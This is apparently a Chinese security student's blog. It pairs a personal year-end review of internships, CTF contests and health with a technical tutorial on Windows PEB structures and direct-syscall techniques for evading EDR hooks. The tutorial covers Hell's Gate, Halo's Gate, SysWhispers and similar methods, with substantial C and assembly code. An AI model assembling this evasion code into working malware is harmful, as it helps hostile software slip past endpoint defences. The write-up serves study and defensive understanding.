• 一些感慨


    其实去年就想写年终总结,但奈何糟心事太多,自己的技术水平好像也确实没什么可写的。今年想了想人总归还是成长了一些,发生的事情也很多,总而言之还是很有意义的一年。
  • 关于工作


    长期求一份安全研究工作。
    网上冲浪的时候发现很多师傅大二就开始尝试实习了,于是我也想不自量力的试试,于是就开始了补基础知识和各个地方投简历。
    实际上结果还是很惨的,没什么人脉自能在官网和各个招聘网站海投,基本都是简历挂,少有的几次面试机会基本都是来自于招聘群里要的内推(可悲的学长资源),有几个红队的实习给了面试机会,但在这方面确实十分缺少实战经验,最后基本就是没人要的状态了。
    好处是,在这段时间准备面试,一直在学 java 和渗透的知识,也终于开始总结知识、复现和整理成 blog 发出来,能有几篇甚至投到了安全社区中,也零零散散的有师傅加我交流,总算是觉得自己不是完全的废物。
    回学校后意外收到了软件所的面试通知,IOT 方向,因为之前尝试着学过一些二进制的东西,加上去年做过一点 fuzz 的科研些所以就顺手投了,没想到一面顺利的过去了。但我至今还是忘不了拿到二面题目时内心的崩溃,讲一篇 AI + 恶意软件的 paper 并完成部分代码,两个方向完全是从 0 开始连肝一周,总算是比较完整的完成了,也顺利拿到了软件所的 offer。
    目前还是在软件所线上实习,从一开始的 kernel fuzz(因为太难了周围人都跑路了不得已停了)到现在的 IOT 漏洞挖掘。逼着自己强化查资料、看论文、看英文资料、看官方文档的能力,虽然大部分时间都很自闭而且到现在也没有什么突出的成果(为什么我到哪里都是自己研究一个方向),但是能很明显的感觉到各方面能力都有很大的提升,非常感谢各位老师和同事的照顾和帮助www。
  • 关于技术栈


    上半年的 java + 渗透,下半年的 kernel + IOT,有点魔幻。
    学 java 是被逼无奈,不知道为什么对这门语言始终提不起兴趣,最后还是决定不将其列为注意研究方向了。
    渗透的话实践太少,只能自己玩玩靶场很少有机会接触实战,当红队的话考虑身体原因(好累的)还是算了,今后可能会做些这方面的研究工作,偶然玩玩。
    目前就是以 fuzz 和程序分析为基调开始搞二进制相关的了,开始尝试魔改 syzkaller,写 ghidra 脚本,在 windows 上写免杀,重新学 C++,挑战很多之前不敢想的事,同时也一边在学传统的 pwn 和 windows 系统相关 和 linux kernel 相关的 pwn(pwn 太好玩了),但遇到的很多问题还是无法解答,只能慢慢沉淀。年底的时候也开始做一些 tee 相关的科研,从安全的顶层一下跳到了底层还是有些难以想象hhh。
    目前对未来的工作的想法其实并不明确,总的来说程序分析或系统分析的研究都在考虑范围(但人家要不要我就不知道了)。
  • 关于比赛


    上课是不可能的这辈子都不可能上课。
    有幸被 VN 的大爷们带去打西湖论剑(线下赛太爽了),顺便见到了很多活的大佬,和战队里的小伙伴聊天是在太舒服了,这种陌生和熟悉感和平日里普通的同学关系完全不同,也可能就是说人以群分吧,直到分开时还是有些不舍,期待之后的面基(但不要牛蹄筋)。
    之后就是每年的国赛,依然是去年的队伍,因为疫情全改了线上。但是 ? 半决赛最后 30s 绝杀!分区赛最后一名进决赛,难以想象一个刚开始两年的主力都是 20 级的野鸡战队竟然能打进决赛。决赛 awdp,pwn 爷加班没打,剩下1 web/pwn(菜鸡我)+ 1 cry/re(大佬 zun_w)和 1 misc(上一届独苗),这几个零零散散拼拼凑凑竟然能在纯 web + pwn 的 awdp 里拿个二等奖,只能说十分的意外和惊喜。
    上半年被 VN 的大师傅们带进几次决赛,奈何本人太菜基本每次都是低保。之后因为方向改变逐渐淡出了对 ctf web 的训练和研究,另一方面考虑身体原因和工作生活平衡也不想经常熬夜打比赛,于是进入了一种半退役的状态,偶然打开题目看一下,兴趣来了找些之前的题目玩玩,之后工作稳定了可能又会重新回来(ctf 太有意思了!)。
    关于校队,因为去年校队招新被当官的否了,导致战队又断代了。好在今年偷偷的招了很多对网络安全感兴趣的小朋友,未来的这些人会成为战队的核心,业界的大佬。虽然对学院网络安全专业的未来并不看好,但我觉得这些主动了解学习 ctf 的同学的未来应该会是十分光明,希望他们可以带动更多人一起建设良好的技术交流环境。
  • 关于身体


    无论什么理由,此刻的放纵都不应该由未来的自己买单。
    开始合理的使用自己的身体,及时休息和锻炼,弥补 21 年因为腰部肌肉透支性使用留下的恶果。因为一些历史原因身体素质并不是很好,因为学习和工作也体育锻炼也不够充分,体重慢慢在涨,3k 成绩也下滑到 15min 了。
    但也不全是坏处,身体的不适迫使我去查询和学习相关知识,久病成医,目前对自己的身体状况了解的也很全面,只要不像之前那种透支性学习,应该会慢慢强化起来。等之后有时间一定系统的学习一下运动康复和中医(至今还在后悔为什么当时报专业没学中医)。
  • 关于未来


    灵活就业,桥洞底下盖小被。
    专业排名出来了,有竞赛的奖也没法保研了。考研又不想考(让我学英语政治不如现在把我头拧下来),出国又没钱没 paper,找工作恰逢寒冬,只能说未来一片迷茫,只能走一步看一步了。
    未来的去向应该会在这半年尘埃落定,甲方、乙方、国企、读研、出国、zf 相关部门 都会去尝试,但最后能去哪就要看命运是如何决定的了。
  • 关于生活


    在遇到她之前,我一直是坚定的不婚主义者。
  • 关于 2023


    • CVE
    • 找工作
    • 跑步健身核心怪
    • C++ 和 Go
    • 不独自去电影院
    • 不当萌新

    保持对世间的批判和辩证,坚持自己立世的原则。
     

  • PEB 结构


    进程环境信息块是一个内核分配给每个进程的用户模式结构,每个进程都会有从 ring0 分配给该进程的进程环境快,后续主要了解 __PEB_LDR_DATA 以及其他子结构。
    typedef struct _PEB_LDR_DATA {
      BYTE       Reserved1[8];
      PVOID      Reserved2[3];
      LIST_ENTRY InMemoryOrderModuleList;
    } PEB_LDR_DATA, *PPEB_LDR_DATA;
    

    image-20221023173226041
    这个图中 FS 段寄存器指向当前的 TEB 结构,PEB 在 TEB 的 0x30 偏移处。这里单独把 PEB 结构拿出来看:
    typedef struct _PEB {
        BOOLEAN InheritedAddressSpace;
        BOOLEAN ReadImageFileExecOptions;
        BOOLEAN BeingDebugged;
        BOOLEAN Spare;
        HANDLE Mutant;
        PVOID ImageBase;
        PPEB_LDR_DATA LoaderData;   // 0x0C offset,指向 PEB_LDR_DATA 结构
        PVOID ProcessParameters;
        PVOID SubSystemData;
        PVOID ProcessHeap;
        PVOID FastPebLock;
        PVOID FastPebLockRoutine;
        PVOID FastPebUnlockRoutine;
        ULONG EnvironmentUpdateCount;
        PVOID* KernelCallbackTable;
        PVOID EventLogSection;
        PVOID EventLog;
        PVOID FreeList;
        ULONG TlsExpansionCounter;
        PVOID TlsBitmap;
        ULONG TlsBitmapBits[0x2];
        PVOID ReadOnlySharedMemoryBase;
        PVOID ReadOnlySharedMemoryHeap;
        PVOID* ReadOnlyStaticServerData;
        PVOID AnsiCodePageData;
        PVOID OemCodePageData;
        PVOID UnicodeCaseTableData;
        ULONG NumberOfProcessors;
        ULONG NtGlobalFlag;
        BYTE Spare2[0x4];
        LARGE_INTEGER CriticalSectionTimeout;
        ULONG HeapSegmentReserve;
        ULONG HeapSegmentCommit;
        ULONG HeapDeCommitTotalFreeThreshold;
        ULONG HeapDeCommitFreeBlockThreshold;
        ULONG NumberOfHeaps;
        ULONG MaximumNumberOfHeaps;
        PVOID** ProcessHeaps;
        PVOID GdiSharedHandleTable;
        PVOID ProcessStarterHelper;
        PVOID GdiDCAttributeList;
        PVOID LoaderLock;
        ULONG OSMajorVersion;
        ULONG OSMinorVersion;
        ULONG OSBuildNumber;
        ULONG OSPlatformId;
        ULONG ImageSubSystem;
        ULONG ImageSubSystemMajorVersion;
        ULONG ImageSubSystemMinorVersion;
        ULONG GdiHandleBuffer[0x22];
        ULONG PostProcessInitRoutine;
        ULONG TlsExpansionBitmap;
        BYTE TlsExpansionBitmapBits[0x80];
        ULONG SessionId;
    } PEB, * PPEB;
    

    在 0x0c 偏移处执行的 PEB_LDR_DATA 结构包含了有关进程加载的模块的信息,在 PEB_LDR_DATA 中包含了三个双向链表,分别代表模块加载顺序,模块在内存中的加载循序以及模块初始化装载的顺序。
    typedef struct _PEB_LDR_DATA {
        ULONG Length;
        ULONG Initialized;
        PVOID SsHandle;
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
    } PEB_LDR_DATA, * PPEB_LDR_DATA;
    

    其中双向链表的定义如下:
    typedef struct _LIST_ENTRY {
       struct _LIST_ENTRY *Flink;
       struct _LIST_ENTRY *Blink;
    } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
    

    每个双向链表都指向进程装载的模块,结构中的每个指针指向了一个 LDR_DATA_TABLE_ENTRY 结构。
    struct _LDR_DATA_TABLE_ENTRY
    {
        struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
        struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8
        struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10
        VOID* DllBase;                                                          //0x18 模块基址
        VOID* EntryPoint;                                                       //0x1c
        ULONG SizeOfImage;                                                      //0x20
        struct _UNICODE_STRING FullDllName;                                     //0x24 模块路径+名称
        struct _UNICODE_STRING BaseDllName;                                     //0x2c 模块名称
    ...
    };
    

    关于如何检索,微软提供了相关的 api:

    image-20221023182933098
  • R3 与 R0 通信


    调用 API 的过程实际上是调用某个 DLL 库,而这个 DLL 会调用在 ntdll.dll 中的 Native API 函数。例如当 kernel32.dll 中的 API 通过 ntdll.dll 执行时,会完成参数的检查工作,再通过中断调用内核态的 Nt* 系列函数。
    ntdll.dll 中的 Native API 函数时成对出现的,分别以 Nt 和 Zw 开头,它们本质上是一样的只是名字不同。使用 Zw* 系列的 API 可以避免额外的参数列表检查,提高效率。
    

    image-20221023192013427
    调用方式,xx 就是系统调用号,根据这个找到对应的处理函数。
    mov     r10,rcx
    mov     eax,xxh
    syscall
    

    image-20221023224946128
    分析一下 windows API 调用过程:
    #include <Windows.h>
    
    VOID WINAPI Thread(LPVOID lpParam)
    {
        MessageBoxW(0, 0, 0, 0);
    }
    
    int main() {
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Thread, 0, 0, 0);
        return 0;
    }
    

    image-20221023223845019
    从实验中可以看到 CreateThread 在进入内核前调用 ntdll.dll 中 NtCreateThreadex 函数,那么可以尝试直接调用这个函数来进行线程的创建,这个思路在之前的线程注入中用到过。但如果杀软对用户层下层(ntdll.dll) 也进行了监控(比如 inline hook)就不太行了。
  • syscall 免杀


    使用前提:
    不用 GetModuleHandle 找到 ntdll 的基址
    解析 DLL 的导出表
    查找 syscall number
    执行 syscall
    

    在 win10 中,除了 minimal 和 pico 进程外,所有用户态的进程默认情况下都隐式链接到 ntdll.dll,一般情况下 ntdll.dll 在内存中的第二个模块,kernel32.dll 在三个模块,然而有些杀软会改变内存中的模块顺序列表,因此我们需要先确定指向的内存模块是 ntdll.dll。
    在 R3 创建进程的时候,EDR 会 hook 用户层的相关 windows API 调用,从而完成对进程动态行为进行监控。在用户层的 hook 较于内核态的 hook 比较稳定,所以很多 EDR 会选择在用户层 hook,同时在内核层使用回调函数监控重要 api 调用。
    为了避免用户层被 EDR hook 的敏感函数检测到敏感行为,可以利用从 ntdll 中读取到的系统调用号直接进行系统调用,主要应对 EDR 在 R3 上的 hook。
    • 地狱之门(Hell's Gate)


      原理:通过直接读取进程的第二个导入模块(ntdll)解析其结构然后便利导出表,根据函数名 Hash 找到函数地址,将这个函数读取出来通过 0xb8 操作码动态获取对应的系统调用号,从而绕过内存监控。
      相当于对传统的 LoadLibrary + GetProcAddress 进行了更底层的重写。
      首先定义一个与 syscall 相关联的数据结构:_VX_TABLE_ENTRY 实际上每一个系统调用都需要分配这样的结构:
      typedef struct _VX_TABLE_ENTRY {
       PVOID pAddress;    // 指向内存模块的函数地址指针
       DWORD64 dwHash;    // 函数 hash,后续用于查找内存模块的函数
       WORD wSystemCall;  // 系统调用号
      } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
      

      同时定义了更大的数据结构 _VX_TABLE 用于包含每一个系统调用的函数:
      typedef struct _VX_TABLE {
       VX_TABLE_ENTRY NtAllocateVirtualMemory;
       VX_TABLE_ENTRY NtProtectVirtualMemory;
       VX_TABLE_ENTRY NtCreateThreadEx;
       VX_TABLE_ENTRY NtWaitForSingleObject;
      } VX_TABLE, * PVX_TABLE;
      

      下面需要通过 PEB 的相关结构来动态获取系统调用号和函数地址来填充刚刚定义的数据结构,以便于实现自己的系统调用,这里通过 TIB(线程信息块)获取 TEB 再获取 TEB 的数据结构。
      # 在 Windows x64 中,TEB的寄存器换做了 GS 寄存器,使用[GS:0x30]访问
      NtCurrentTeb();
      // x86
      __readfsqword(0x18);
      // x64
      __readgsqword(0x30);
      

      在上文中也提到过,通过 __readgsword 或 __readfsword 获取 PEB。
      PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
      PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
      if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) {
       return 0x1;
      }
      PTEB RtlGetThreadEnvironmentBlock() {
      #if _WIN64
       return (PTEB)__readgsqword(0x30);
      #else
       return (PTEB)__readfsdword(0x16);
      #endif
      }
      # 最后还通过 PEB 的成员 OSMajorVersion 判断操作系统是否是Windows 10
      

      之后的操作就是遍历 PE 的导出函数,解析 PE 头然后找到 EAT。
      // Get NTDLL module 
      PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
      
      // Get the EAT of NTDLL
      PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
      if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
          return 0x01;
      

      成功获取 EAT 指针后现在需要填充之前定义的 _VX_TABLE,
      VX_TABLE Table = { 0 };
      Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory);
      
      Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx);
      Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory);
      
      Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
      GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject);
      

      源代码中实现了 Ntdll 中的四个函数,因此需要知道这四个函数的 Hash 以及 _VX_TABLE_ENTRY 结构体,这部分逻辑在 GetVxTableEntry 中实现:
      BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY ExporTable, PVX_TABLE_ENTRY pVxTableEntry)
      {
          PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + ExporTable-> AddressOfFunctions);
          PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + ExporTable->AddressOfNames);
          PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + ExporTable -> AddressOfNameOrdinals);
          // 遍历导出表的函数
          for (WORD cx = 0; cx < ExporTable->NumberOfNames; cx++)
          {
              PCHAR  pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
              PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
              // 比较 hash
              if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) 
              {
                  printf("[+]Function:%s Matched\n", pczFunctionName);
                  pVxTableEntry->pAddress = pFunctionAddress;
                  // 定位mov eax的操作码
                  if (*((PBYTE)pFunctionAddress + 3) == 0xb8) 
                  {
                      // 
                      BYTE high = *((PBYTE)pFunctionAddress + 5);
                      BYTE low = *((PBYTE)pFunctionAddress + 4);
                      // 系统调用号是 WORD 类型,两字节并且小端序
                      pVxTableEntry->wSystemCall = (high << 8) | low;
                      break;
                  }
              }
          }
      }
      

      最后通过一段宏汇编代码(MASM)来定义执行通过系统调用号调用 NT 函数的函数:
       wSystemCall DWORD 0h
      .code
       HellsGate PROC // 设置 Nt 函数的系统调用号
       mov wSystemCall, 0h
       mov wSystemCall, ecx
       ret
       HellsGate ENDP
       HellDescent PROC   // 模拟 Nt 函数的汇编
       mov r10, rcx
       mov eax, wSystemCall
       syscall
       ret
       HellDescent ENDP
      end
      

      定义的第一个函数 HellsGate 用来设置对应 Nt 函数的系统调用号,第二个函数 HellDescent 直接模拟系统调用来调用对应函数(和 ZwSetInformationFile 的汇编指令是一样的)。
      因此现在想要调用 Nt 函数的时候,利用之前得到的 EAT 对之前定义的数据结构进行填充:
      VX_TABLE Table = { 0 };
          Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
          Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
          if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject))
          {
              printf("[-]GetVxTableEntry Failed!\n");
              return -1;
          }
      

      到现在为止,我们想调用的 Nt 函数都有了唯一的 VT_TABLE_ENTRY,包含调用号、地址指针和 hash。然后用调用汇编的方式进行调用:
      image-20221024052337732
    • 光环之门(Halo's Gate)


      地狱之门的局限在于内存中的 ntdll 必须是默认你的,如果 ntdll 已经被修改过或者被 hook 过(汇编操作码不是 0xb8),那么就无法动态获取它的系统调用号。
      原理:EDR 不会 hook 所有的 Nt 函数,总会有不敏感的函数没有被 HOOK,因此在程序当中以 STUB_SIZE(长度 32)上下循环遍历,找到没有被 HOOK 的 STUB 后获取系统调用号再减去移动的步数,就是所要搜索的系统调用号。
      对应查找操作的汇编实现:
      halosGateUp PROC
          xor rsi, rsi
          xor rdi, rdi 
          mov rsi, 00B8D18B4Ch   ; bytes at start of NTDLL stub to setup syscall in RAX
          xor rax, rax
          mov al, 20h            ; 32 * Increment = Syscall Up
          mul dx                 ; RAX = RAX * RDX = 32 * Syscall Up
          add rcx, rax           ; RCX = NTDLL.API +- Syscall Stub
          mov edi, [rcx]         ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, <syscall#>)
          cmp rsi, rdi
          jne error              ; if the bytes dont match then its prob hooked. Exit gracefully
          xor rax,rax            ; clear RAX as it will hold the syscall
          mov ax, [rcx+4]        ; The systemcall number for the API close to the target
          ret                    ; return to caller
      halosGateUp ENDP
      
    • TartarusGate


      对光环之门的加强,只检测第一个字节和第四个字节是否是 0xe9 来判断函数是否被 hook。
    • 欺骗之门(Spoofing-Gate)


      当使用 Hate's Gate / Hell's Gate 获取到 sysid 后,从 ntdll 中随机选择未用到的 Nt Api,替换其 sysid 为获取到的 sysid 即可直接 call。内置的 Nt api list 排除了 EDRs 项目中被 hook 的 api 和部分可能影响正常执行的 api,返回的结构体实现了 Recover 函数用于复原 sysid。
      但这个方法的缺点就是必须修改 ntdll,通常用 NtProtect+memcpy / WriteProcessMemory。
    • ParallelSyscalls


      使用 syscall 从磁盘中读取 ntdll,最后利用 LdrpThunkSignature 回复系统调用。同时实现了 dll 的并行加载,过程中运行进程递归映射通过进程模块导入表导入 dll 的过程。
      LdrpThunkSignature 调用实现:
      BOOL InitSyscallsFromLdrpThunkSignature()
      {
          PPEB Peb = (PPEB)__readgsqword(0x60);
          PPEB_LDR_DATA Ldr = Peb->Ldr;
          PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;
      
          for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
              LdrEntry->DllBase != NULL;
              LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink)
          {
              if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0)
              {
                  // got ntdll
                  NtdllLdrEntry = LdrEntry;
                  break;
              }
          }
      
          if (NtdllLdrEntry == NULL)
          {
              return FALSE;
          }
      
          PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
          PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
      
          ULONG_PTR DataSectionAddress = NULL;
          DWORD DataSectionSize;
      
          for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++)
          {
              if (!strcmp((char*)SectionHeader[i].Name, ".data"))
              {
                  DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
                  DataSectionSize = SectionHeader[i].Misc.VirtualSize;
                  break;
              }
          }
      
          DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0;
      
          if (!DataSectionAddress || DataSectionSize < 16 * 5)
          {
              return FALSE;
          }
      
          for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++)
          {
              if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
                  *(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c)
              {
                  dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4);
                  dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4);
                  dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4);
                  break;
              }
          }
      
          if (!dwSyscallNo_NtOpenFile)
          {
              return FALSE;
          }
      
          ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      
          if (!SyscallRegion)
          {
              return FALSE;
          }
      
          NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
          NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
          NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2* MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
      
          return TRUE;
      }
      
    • GetSSN


      另一种发现 syscall number 的方法而且不需要 unhook、不需要从代码存根中读取,也不需要加载 NTDLL 副本。这种方式可用的前提是:
      1.实际上所有的Zw函数和Nt同名函数实际上是等价的
      2.系统调用号实际上是和Zw函数按照地址顺序的排列是一样的
      

      因此我们就只需要遍历所有的 Zw 函数,记录其函数名和函数地址,最后将其按照函数地址升序排列后,每个函数的 SSN 就是其对应的排序顺序。
      int GetSSN()
      {
          std::map<int, string> Nt_Table;
          PBYTE ImageBase;
          PIMAGE_DOS_HEADER Dos = NULL;
          PIMAGE_NT_HEADERS Nt = NULL;
          PIMAGE_FILE_HEADER File = NULL;
          PIMAGE_OPTIONAL_HEADER Optional = NULL;
          PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
      
          PPEB Peb = (PPEB)__readgsqword(0x60);
          PLDR_MODULE pLoadModule;
          // NTDLL
          pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
          ImageBase = (PBYTE)pLoadModule->BaseAddress;
      
          Dos = (PIMAGE_DOS_HEADER)ImageBase;
          if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
              return 1;
          Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
          File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
          Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
          ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
      
          PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
          PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
          PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
          for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
          {
              PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
              PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
              if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
                 printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
                  Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
              }
          }
          int index = 0;
          for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
              cout << "index:" << index  << ' ' << iter->second << endl;
              index += 1;
          }
      }
      
    • SysWhispers2 / 3


      仅获取 syscall number,进入 R3 自己实现函数调用过程。具体实现是用 SW2_PopulateSyscallList,先解析 ntdll 中的 EAT,定位 Zw 开头的函数,最后按地址从小到大进行排序。
      在 3 中出现了新的 EGG 手法,先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。
      这里的 egg hunt 使用 "DB" 来定义一个字节的汇编指令。
      NtAllocateVirtualMemory PROC
        mov [rsp +8], rcx          ; Save registers.
        mov [rsp+16], rdx
        mov [rsp+24], r8
        mov [rsp+32], r9
        sub rsp, 28h
        mov ecx, 003970B07h        ; Load function hash into ECX.
        call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
        add rsp, 28h
        mov rcx, [rsp +8]          ; Restore registers.
        mov rdx, [rsp+16]
        mov r8, [rsp+24]
        mov r9, [rsp+32]
        mov r10, rcx
        DB 77h                     ; "w"
        DB 0h                      ; "0"
        DB 0h                      ; "0"
        DB 74h                     ; "t"
        DB 77h                     ; "w"
        DB 0h                      ; "0"
        DB 0h                      ; "0"
        DB 74h                     ; "t"
        ret
      NtAllocateVirtualMemory ENDP
      

      但实际上用这种方式会报错,因为只是提供了 syscall 的调用和返回的堆栈,但是没有释放。后面用了 FindAndReplace 函数进行替换:
      void FindAndReplace(unsigned char egg[], unsigned char replace[])
      {
      
          ULONG64 startAddress = 0;
          ULONG64 size = 0;
      
          GetMainModuleInformation(&startAddress, &size);
      
          if (size <= 0) {
              printf("[-] Error detecting main module size");
              exit(1);
          }
      
          ULONG64 currentOffset = 0;
      
          unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
          size_t nBytesRead;
      
          printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
      
          while (currentOffset < size - 8)
          {
              currentOffset++;
              LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
              if(DEBUG > 0){
                  printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
              }
              if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
                  printf("[-] Error reading from memory\n");
                  exit(1);
              }
              if (nBytesRead != 8) {
                  printf("[-] Error reading from memory\n");
                  continue;
              }
      
              if(DEBUG > 0){
                  for (int i = 0; i < nBytesRead; i++){
                      printf("%02x ", current[i]);
                  }
                  printf("\n");
              }
      
              if (memcmp(egg, current, 8) == 0)
              {
                  printf("Found at %llu\n", (ULONG64)currentAddress);
                  WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
              }
      
          }
          printf("Ended search at:   0x%llu\n", (ULONG64)startAddress + currentOffset);
          free(current);
      }
      

      使用方式:
      int main(int argc, char** argv) {
      
          unsigned char egg[] = { 0x77, 0x00, 0x00, 0x74, 0x77, 0x00, 0x00, 0x74 }; 
          // w00tw00t
          unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; 
          // syscall; nop; nop; ret; nop; int3; int3
      
          //####SELF_TAMPERING####
          (egg, replace);
      
          Inject();
          return 0;
      }
      

      但是 EDR 不仅会检测 syscall 的字符,还会检测 syscall 执行特定指令的位置。也就是说本来 syscall 是要从 ntdll 中执行的,但我们的方式会直接在程序的主模块中执行。
      image-20221024081651133
      image-20221024081655871
      RIP 指向的不同为 EDR 提供了特征。针对于这种检测,可以在运行时候从内存中动态找出替换 syscall。
      首先添加一个 ULONG64 字段来存储 syscall 指令绝对地址,当 __SW2_SYSCALL_LIST 被填充时,计算 syscall 指令的地址。在这种情况下,已经有了 ntdll.dll 基地址,SysWhispers 从 DLL EAT 中计算 RVA,最后就可以 jmp syscall<address>,所以只需要计算 syscall 指令的相对位置即可。
